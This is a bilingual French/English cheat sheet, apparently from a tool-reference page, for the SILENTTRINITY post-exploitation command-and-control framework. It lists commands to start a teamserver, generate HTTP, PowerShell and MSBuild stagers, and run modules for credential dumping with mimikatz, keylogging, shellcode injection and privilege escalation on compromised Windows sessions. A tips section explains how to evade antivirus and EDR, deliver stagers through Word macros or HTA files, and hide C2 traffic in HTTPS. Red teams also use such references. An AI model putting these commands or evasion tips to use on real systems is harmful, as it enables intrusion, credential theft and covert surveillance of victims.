silenttrinity
Framework C2 de post-exploitation basé sur Python/IronPython. Utilise .NET et IronPython pour exécuter des payloads en mémoire sur des cibles Windows : échappe aux AV en exécutant des stagers Python entièrement dans le runtime .NET. Python/IronPython-based post-exploitation C2 framework. Uses .NET and IronPython to execute in-memory payloads on Windows targets — evades AV by running Python-based stagers entirely in .NET runtime.
↗ https://github.com/byt3bl33d3r/SILENTTRINITYOverview
SILENTTRINITY is a post-exploitation C2 framework that leverages IronPython and the .NET DLR (Dynamic Language Runtime) to run Python-based payloads entirely in memory. Its unique approach avoids common AV/EDR signatures by using .NET’s scripting capabilities.
Installation
# Clone the repository
git clone https://github.com/byt3bl33d3r/SILENTTRINITY
cd SILENTTRINITY
pip3 install -r requirements.txt
Starting the Teamserver
Start the C2 server
python3 st.py teamserver 0.0.0.0 PASSWORD
# Default port: 5000 (WebSocket)
# Access via the client
Client Connection
Connect to teamserver
python3 st.py client wss://TEAMSERVER_IP:5000
With SSL certificate
python3 st.py client wss://TEAMSERVER_IP:5000 --cert ca.pem
Generating Stagers
In the SILENTTRINITY client:
st > stagers
List available stagers
st (stagers) > list
# Generate an HTTP stager
st (stagers) > use http
st (stagers)(http) > generate http://TEAMSERVER:PORT
# Common stager types:
# http — HTTP beacon
# https — HTTPS beacon
# wscript — VBScript stager
# powershell — PS stager
# msbuild — MSBuild XML stager
Modules
# List available modules
st > modules
st (modules) > list
# Common modules:
# boo/whoami — current user info
# boo/seatbelt — situational awareness
# boo/mimikatz — credential dumping
# boo/sharpup — privilege escalation
# boo/screenshot — capture screen
# boo/keylogger — keylogger
# boo/shellcode_inject — shellcode injection
# Run a module on a session
st (modules) > use boo/whoami
st (modules)(whoami) > run SESSION_ID
Session Management
# List active sessions
st > sessions
st (sessions) > list
Interact with a session
st (sessions) > interact SESSION_ID
# Run command
st (sessions)(SESSION_ID) > shell whoami
st (sessions)(SESSION_ID) > shell ipconfig /all
Tips
- IronPython execution leaves minimal .NET artifacts — harder to detect than PowerShell
- All modules are written in Boo (a .NET scripting language) — run in CLR without touching disk
- Combine with obfuscated stager delivery (Word macro, HTA, etc.)
- The WebSocket C2 channel can blend into HTTPS traffic with a valid cert
- For modern environments with EDR, pair with additional obfuscation layers
Help / Man page
SILENTTRINITY components:
Teamserver:
python3 st.py teamserver BIND_ADDR PASSWORD [--port N]
Client:
python3 st.py client wss://HOST:PORT
Client commands:
stagers — manage stager generation
listeners — manage C2 listeners
modules — available post-ex modules
sessions — manage active sessions
teamservers — connected teamservers
Vue d’ensemble
SILENTTRINITY est un framework C2 de post-exploitation qui s’appuie sur IronPython et le DLR (Dynamic Language Runtime) .NET pour exécuter des payloads basés sur Python entièrement en mémoire. Son approche originale évite les signatures AV/EDR courantes en utilisant les capacités de script de .NET.
Installation
# Cloner le dépôt
git clone https://github.com/byt3bl33d3r/SILENTTRINITY
cd SILENTTRINITY
pip3 install -r requirements.txt
Démarrer le teamserver
# Démarrer le serveur C2
python3 st.py teamserver 0.0.0.0 PASSWORD
# Port par défaut : 5000 (WebSocket)
# Accès via le client
Connexion du client
# Se connecter au teamserver
python3 st.py client wss://TEAMSERVER_IP:5000
# Avec certificat SSL
python3 st.py client wss://TEAMSERVER_IP:5000 --cert ca.pem
Génération de stagers
Dans le client SILENTTRINITY :
st > stagers
# Lister les stagers disponibles
st (stagers) > list
# Générer un stager HTTP
st (stagers) > use http
st (stagers)(http) > generate http://TEAMSERVER:PORT
# Types de stagers courants :
# http : beacon HTTP
# https : beacon HTTPS
# wscript : stager VBScript
# powershell : stager PS
# msbuild : stager MSBuild XML
Modules
# Lister les modules disponibles
st > modules
st (modules) > list
# Modules courants :
# boo/whoami : infos sur l'utilisateur actuel
# boo/seatbelt : reconnaissance de situation
# boo/mimikatz : dump d'identifiants
# boo/sharpup : élévation de privilèges
# boo/screenshot : capture d'écran
# boo/keylogger : keylogger
# boo/shellcode_inject : injection de shellcode
# Lancer un module sur une session
st (modules) > use boo/whoami
st (modules)(whoami) > run SESSION_ID
Gestion des sessions
# Lister les sessions actives
st > sessions
st (sessions) > list
# Interagir avec une session
st (sessions) > interact SESSION_ID
# Lancer une commande
st (sessions)(SESSION_ID) > shell whoami
st (sessions)(SESSION_ID) > shell ipconfig /all
Conseils
- L’exécution IronPython laisse peu de traces .NET : plus difficile à détecter que PowerShell
- Tous les modules sont écrits en Boo (un langage de script .NET) : exécutés dans le CLR sans toucher le disque
- Combiner avec une livraison de stager obfusquée (macro Word, HTA, etc.)
- Le canal C2 WebSocket peut se fondre dans le trafic HTTPS avec un certificat valide
- Pour les environnements modernes avec EDR, associer à des couches d’obfuscation supplémentaires
Aide / Page de manuel
SILENTTRINITY components:
Teamserver:
python3 st.py teamserver BIND_ADDR PASSWORD [--port N]
Client:
python3 st.py client wss://HOST:PORT
Client commands:
stagers — manage stager generation
listeners — manage C2 listeners
modules — available post-ex modules
sessions — manage active sessions
teamservers — connected teamservers